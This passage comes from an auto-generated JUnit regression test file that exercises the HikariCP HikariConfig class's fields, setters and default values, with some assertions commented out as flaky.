System.out.format("%n%s%n", "RegressionTest38.test19312");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.idleTimeout = (byte) -1;
javax.sql.DataSource dataSource12 = hikariConfig1.dataSource;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer13 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer13;
hikariConfig1.transactionIsolation = (-1);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer17 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer17;
int int19 = hikariConfig1.getAcquireRetries();
int int20 = hikariConfig1.getAcquireRetries();
hikariConfig1.setMaxLifetime((long) 52);
long long23 = hikariConfig1.getMaxLifetime();
hikariConfig1.setIdleTimeout(3L);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(dataSource12);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 3 + "'", int19 == 3);
org.junit.Assert.assertTrue("'" + int20 + "' != '" + 3 + "'", int20 == 3);
org.junit.Assert.assertTrue("'" + long23 + "' != '" + 52L + "'", long23 == 52L);
}
@Test
public void test19313() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19313");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4connectionTest;
long long5 = hikariConfig1.getIdleTimeout();
hikariConfig1.setUseInstrumentation(false);
hikariConfig1.setJdbc4ConnectionTest(false);
java.util.Properties properties10 = hikariConfig1.dataSourceProperties;
hikariConfig1.setConnectionCustomizerClassName("HikariPool-306");
java.lang.String str13 = hikariConfig1.getDataSourceClassName();
hikariConfig1.setJdbc4ConnectionTest(true);
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 60L + "'", long5 == 60L);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertNull(str13);
}
@Test
public void test19314() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19314");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
java.lang.String str11 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setAutoCommit(true);
boolean boolean14 = hikariConfig1.isRegisterMbeans;
hikariConfig1.catalog = "HikariPool-20585";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + false + "'", boolean14 == false);
}
@Test
public void test19315() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19315");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
long long10 = hikariConfig1.connectionTimeout;
hikariConfig1.setJdbc4ConnectionTest(true);
javax.sql.DataSource dataSource13 = hikariConfig1.getDataSource();
long long14 = hikariConfig1.getIdleTimeout();
int int15 = hikariConfig1.minPoolSize;
java.lang.String str16 = hikariConfig1.poolName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertNull(dataSource13);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
// flaky: org.junit.Assert.assertEquals("'" + str16 + "' != '" + "HikariPool-51105" + "'", str16, "HikariPool-51105");
}
@Test
public void test19316() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19316");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
java.lang.String str10 = hikariConfig1.getCatalog();
hikariConfig1.transactionIsolation = 100;
java.util.Properties properties13 = hikariConfig1.dataSourceProperties;
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.setMinimumPoolSize(0);
hikariConfig1.setCatalog("HikariPool-373");
java.util.Properties properties21 = null;
com.zaxxer.hikari.HikariConfig hikariConfig22 = new com.zaxxer.hikari.HikariConfig(properties21);
hikariConfig22.leakDetectionThreshold = 100;
java.lang.String str25 = hikariConfig22.connectionTestQuery;
hikariConfig22.setMaximumPoolSize(87);
java.lang.String str28 = hikariConfig22.connectionCustomizerClassName;
java.util.Properties properties29 = null;
com.zaxxer.hikari.HikariConfig hikariConfig30 = new com.zaxxer.hikari.HikariConfig(properties29);
hikariConfig30.setConnectionInitSql("hi!");
long long33 = hikariConfig30.getLeakDetectionThreshold();
java.util.Properties properties34 = null;
com.zaxxer.hikari.HikariConfig hikariConfig35 = new com.zaxxer.hikari.HikariConfig(properties34);
int int36 = hikariConfig35.getTransactionIsolation();
hikariConfig35.setRegisterMbeans(false);
java.lang.String str39 = hikariConfig35.transactionIsolationName;
int int40 = hikariConfig35.getMaximumPoolSize();
int int41 = hikariConfig35.transactionIsolation;
java.util.Properties properties42 = hikariConfig35.dataSourceProperties;
hikariConfig30.dataSourceProperties = properties42;
java.util.Properties properties44 = hikariConfig30.getDataSourceProperties();
hikariConfig22.dataSourceProperties = properties44;
com.zaxxer.hikari.HikariConfig hikariConfig46 = new com.zaxxer.hikari.HikariConfig(properties44);
com.zaxxer.hikari.HikariConfig hikariConfig47 = new com.zaxxer.hikari.HikariConfig(properties44);
hikariConfig47.setTransactionIsolation("HikariPool-130");
hikariConfig1.addDataSourceProperty("HikariPool-429", (java.lang.Object) hikariConfig47);
hikariConfig1.transactionIsolationName = "HikariPool-41103";
java.lang.String str53 = hikariConfig1.connectionTestQuery;
hikariConfig1.setConnectionInitSql("HikariPool-140");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertTrue("'" + long33 + "' != '" + 0L + "'", long33 == 0L);
org.junit.Assert.assertTrue("'" + int36 + "' != '" + (-1) + "'", int36 == (-1));
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + 60 + "'", int40 == 60);
org.junit.Assert.assertTrue("'" + int41 + "' != '" + (-1) + "'", int41 == (-1));
org.junit.Assert.assertNotNull(properties42);
org.junit.Assert.assertNotNull(properties44);
org.junit.Assert.assertNull(str53);
}
@Test
public void test19317() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19317");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.setIdleTimeout(52L);
java.lang.String str12 = hikariConfig1.connectionInitSql;
hikariConfig1.acquireRetries = 97;
java.lang.String str15 = hikariConfig1.poolName;
long long16 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertEquals("'" + str15 + "' != '" + "hi!" + "'", str15, "hi!");
org.junit.Assert.assertTrue("'" + long16 + "' != '" + 0L + "'", long16 == 0L);
}
@Test
public void test19318() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19318");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
int int2 = hikariConfig0.getMinimumPoolSize();
java.lang.String str3 = hikariConfig0.getConnectionCustomizerClassName();
hikariConfig0.setPoolName("HikariPool-2511");
java.lang.String str6 = hikariConfig0.connectionTestQuery;
org.junit.Assert.assertNull(str1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + 10 + "'", int2 == 10);
org.junit.Assert.assertNull(str3);
org.junit.Assert.assertNull(str6);
}
@Test
public void test19319() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19319");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.dataSourceClassName = "";
boolean boolean13 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.connectionTestQuery = "HikariPool-470";
int int18 = hikariConfig1.transactionIsolation;
java.util.Properties properties19 = hikariConfig1.getDataSourceProperties();
hikariConfig1.acquireRetries = 0;
java.lang.String str22 = hikariConfig1.getConnectionCustomizerClassName();
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireRetries((-1));
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: acquireRetries cannot be negative");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 1 + "'", int18 == 1);
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertNull(str22);
}
@Test
public void test19320() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19320");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
long long11 = hikariConfig1.maxLifetime;
java.lang.String str12 = hikariConfig1.connectionInitSql;
javax.sql.DataSource dataSource13 = null;
hikariConfig1.setDataSource(dataSource13);
hikariConfig1.acquireRetries = ' ';
boolean boolean17 = hikariConfig1.isRegisterMbeans;
boolean boolean18 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setJdbc4ConnectionTest(false);
long long21 = hikariConfig1.maxLifetime;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 35L + "'", long11 == 35L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + false + "'", boolean17 == false);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + false + "'", boolean18 == false);
// flaky: org.junit.Assert.assertTrue("'" + long21 + "' != '" + 35L + "'", long21 == 35L);
}
@Test
public void test19321() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19321");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
long long6 = hikariConfig1.connectionTimeout;
hikariConfig1.setTransactionIsolation("HikariPool-517");
java.lang.String str9 = hikariConfig1.connectionInitSql;
long long10 = hikariConfig1.getMaxLifetime();
java.lang.String str11 = hikariConfig1.getPoolName();
java.lang.String str12 = hikariConfig1.poolName;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 10L + "'", long6 == 10L);
org.junit.Assert.assertNull(str9);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
org.junit.Assert.assertEquals("'" + str11 + "' != '" + "hi!" + "'", str11, "hi!");
org.junit.Assert.assertEquals("'" + str12 + "' != '" + "hi!" + "'", str12, "hi!");
}
@Test
public void test19322() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19322");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4ConnectionTest();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
long long11 = hikariConfig6.getIdleTimeout();
java.lang.String str12 = hikariConfig6.getCatalog();
java.lang.String str13 = hikariConfig6.getConnectionTestQuery();
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
hikariConfig15.dataSourceClassName = "";
java.util.Properties properties18 = hikariConfig15.dataSourceProperties;
hikariConfig6.setDataSourceProperties(properties18);
hikariConfig1.dataSourceProperties = properties18;
hikariConfig1.connectionInitSql = "HikariPool-306";
hikariConfig1.setCatalog("");
java.util.Properties properties25 = hikariConfig1.dataSourceProperties;
hikariConfig1.setConnectionCustomizerClassName("HikariPool-308");
hikariConfig1.minPoolSize = '#';
boolean boolean30 = hikariConfig1.isInitializationFailFast;
hikariConfig1.setCatalog("HikariPool-32741");
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertNotNull(properties25);
org.junit.Assert.assertTrue("'" + boolean30 + "' != '" + false + "'", boolean30 == false);
}
@Test
public void test19323() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19323");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4ConnectionTest();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
long long11 = hikariConfig6.getIdleTimeout();
java.lang.String str12 = hikariConfig6.getCatalog();
java.lang.String str13 = hikariConfig6.getConnectionTestQuery();
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
hikariConfig15.dataSourceClassName = "";
java.util.Properties properties18 = hikariConfig15.dataSourceProperties;
hikariConfig6.setDataSourceProperties(properties18);
hikariConfig1.dataSourceProperties = properties18;
hikariConfig1.connectionInitSql = "HikariPool-306";
hikariConfig1.setCatalog("");
java.util.Properties properties25 = hikariConfig1.dataSourceProperties;
hikariConfig1.setConnectionCustomizerClassName("HikariPool-308");
boolean boolean28 = hikariConfig1.isAutoCommit();
int int29 = hikariConfig1.getTransactionIsolation();
java.lang.String str30 = hikariConfig1.connectionCustomizerClassName;
java.lang.String str31 = hikariConfig1.poolName;
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertNotNull(properties25);
org.junit.Assert.assertTrue("'" + boolean28 + "' != '" + true + "'", boolean28 == true);
org.junit.Assert.assertTrue("'" + int29 + "' != '" + (-1) + "'", int29 == (-1));
org.junit.Assert.assertEquals("'" + str30 + "' != '" + "HikariPool-308" + "'", str30, "HikariPool-308");
// flaky: org.junit.Assert.assertEquals("'" + str31 + "' != '" + "HikariPool-51122" + "'", str31, "HikariPool-51122");
}
@Test
public void test19324() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19324");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.isRegisterMbeans = true;
hikariConfig1.setPoolName("HikariPool-320");
long long13 = hikariConfig1.getMaxLifetime();
int int14 = hikariConfig1.maxPoolSize;
hikariConfig1.minPoolSize = (-1);
long long17 = hikariConfig1.getMaxLifetime();
boolean boolean18 = hikariConfig1.isInitializationFailFast();
long long19 = hikariConfig1.getAcquireRetryDelay();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 35L + "'", long13 == 35L);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 60 + "'", int14 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long17 + "' != '" + 35L + "'", long17 == 35L);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + false + "'", boolean18 == false);
org.junit.Assert.assertTrue("'" + long19 + "' != '" + 0L + "'", long19 == 0L);
}
@Test
public void test19325() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19325");
// The following exception was thrown during execution in test generation
try {
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig("HikariPool-28618");
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: Property file HikariPool-28618 was not found.");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
}
@Test
public void test19326() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19326");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.catalog = "";
boolean boolean8 = hikariConfig1.isRegisterMbeans;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.isJdbc4connectionTest = true;
java.util.Properties properties13 = null;
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties13);
hikariConfig14.leakDetectionThreshold = 100;
hikariConfig14.setTransactionIsolation("hi!");
int int19 = hikariConfig14.getMaximumPoolSize();
hikariConfig14.setRegisterMbeans(false);
hikariConfig1.addDataSourceProperty("HikariPool-112", (java.lang.Object) hikariConfig14);
// The following exception was thrown during execution in test generation
try {
hikariConfig14.setAcquireIncrement((int) (byte) -1);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + false + "'", boolean8 == false);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 60 + "'", int19 == 60);
}
@Test
public void test19327() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19327");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
java.util.Properties properties8 = null;
com.zaxxer.hikari.HikariConfig hikariConfig9 = new com.zaxxer.hikari.HikariConfig(properties8);
int int10 = hikariConfig9.getTransactionIsolation();
hikariConfig9.setRegisterMbeans(false);
hikariConfig9.isInitializationFailFast = true;
int int15 = hikariConfig9.acquireRetries;
hikariConfig9.setMaxLifetime((long) (-1));
int int18 = hikariConfig9.getTransactionIsolation();
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
java.lang.String str24 = hikariConfig20.transactionIsolationName;
int int25 = hikariConfig20.getMaximumPoolSize();
int int26 = hikariConfig20.transactionIsolation;
java.util.Properties properties27 = hikariConfig20.dataSourceProperties;
hikariConfig9.setDataSourceProperties(properties27);
hikariConfig1.setDataSourceProperties(properties27);
int int30 = hikariConfig1.maxPoolSize;
hikariConfig1.setAcquireRetries(97);
hikariConfig1.maxLifetime = 3L;
hikariConfig1.transactionIsolation = 35;
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 3 + "'", int15 == 3);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNull(str24);
org.junit.Assert.assertTrue("'" + int25 + "' != '" + 60 + "'", int25 == 60);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertNotNull(properties27);
org.junit.Assert.assertTrue("'" + int30 + "' != '" + 60 + "'", int30 == 60);
}
@Test
public void test19328() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19328");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.getMaximumPoolSize();
int int17 = hikariConfig11.transactionIsolation;
java.util.Properties properties18 = hikariConfig11.dataSourceProperties;
hikariConfig11.transactionIsolation = (byte) 1;
hikariConfig11.dataSourceClassName = "";
boolean boolean23 = hikariConfig11.isJdbc4connectionTest;
hikariConfig11.setJdbc4ConnectionTest(true);
hikariConfig1.addDataSourceProperty("HikariPool-59", (java.lang.Object) hikariConfig11);
java.lang.String str27 = hikariConfig1.catalog;
long long28 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
org.junit.Assert.assertNull(str27);
org.junit.Assert.assertTrue("'" + long28 + "' != '" + 100L + "'", long28 == 100L);
}
@Test
public void test19329() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19329");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
java.lang.String str17 = hikariConfig13.transactionIsolationName;
long long18 = hikariConfig13.getIdleTimeout();
java.lang.String str19 = hikariConfig13.getCatalog();
java.util.Properties properties20 = hikariConfig13.getDataSourceProperties();
hikariConfig13.setUseInstrumentation(false);
hikariConfig1.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig13);
hikariConfig1.poolName = "HikariPool-104";
java.util.Properties properties26 = null;
com.zaxxer.hikari.HikariConfig hikariConfig27 = new com.zaxxer.hikari.HikariConfig(properties26);
hikariConfig27.leakDetectionThreshold = 100;
boolean boolean30 = hikariConfig27.isJdbc4ConnectionTest();
java.util.Properties properties31 = null;
com.zaxxer.hikari.HikariConfig hikariConfig32 = new com.zaxxer.hikari.HikariConfig(properties31);
int int33 = hikariConfig32.getTransactionIsolation();
hikariConfig32.setRegisterMbeans(false);
java.lang.String str36 = hikariConfig32.transactionIsolationName;
long long37 = hikariConfig32.getIdleTimeout();
java.lang.String str38 = hikariConfig32.getCatalog();
java.lang.String str39 = hikariConfig32.getConnectionTestQuery();
java.util.Properties properties40 = null;
com.zaxxer.hikari.HikariConfig hikariConfig41 = new com.zaxxer.hikari.HikariConfig(properties40);
hikariConfig41.dataSourceClassName = "";
java.util.Properties properties44 = hikariConfig41.dataSourceProperties;
hikariConfig32.setDataSourceProperties(properties44);
hikariConfig27.dataSourceProperties = properties44;
java.util.Properties properties47 = hikariConfig27.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties47;
com.zaxxer.hikari.HikariConfig hikariConfig49 = new com.zaxxer.hikari.HikariConfig(properties47);
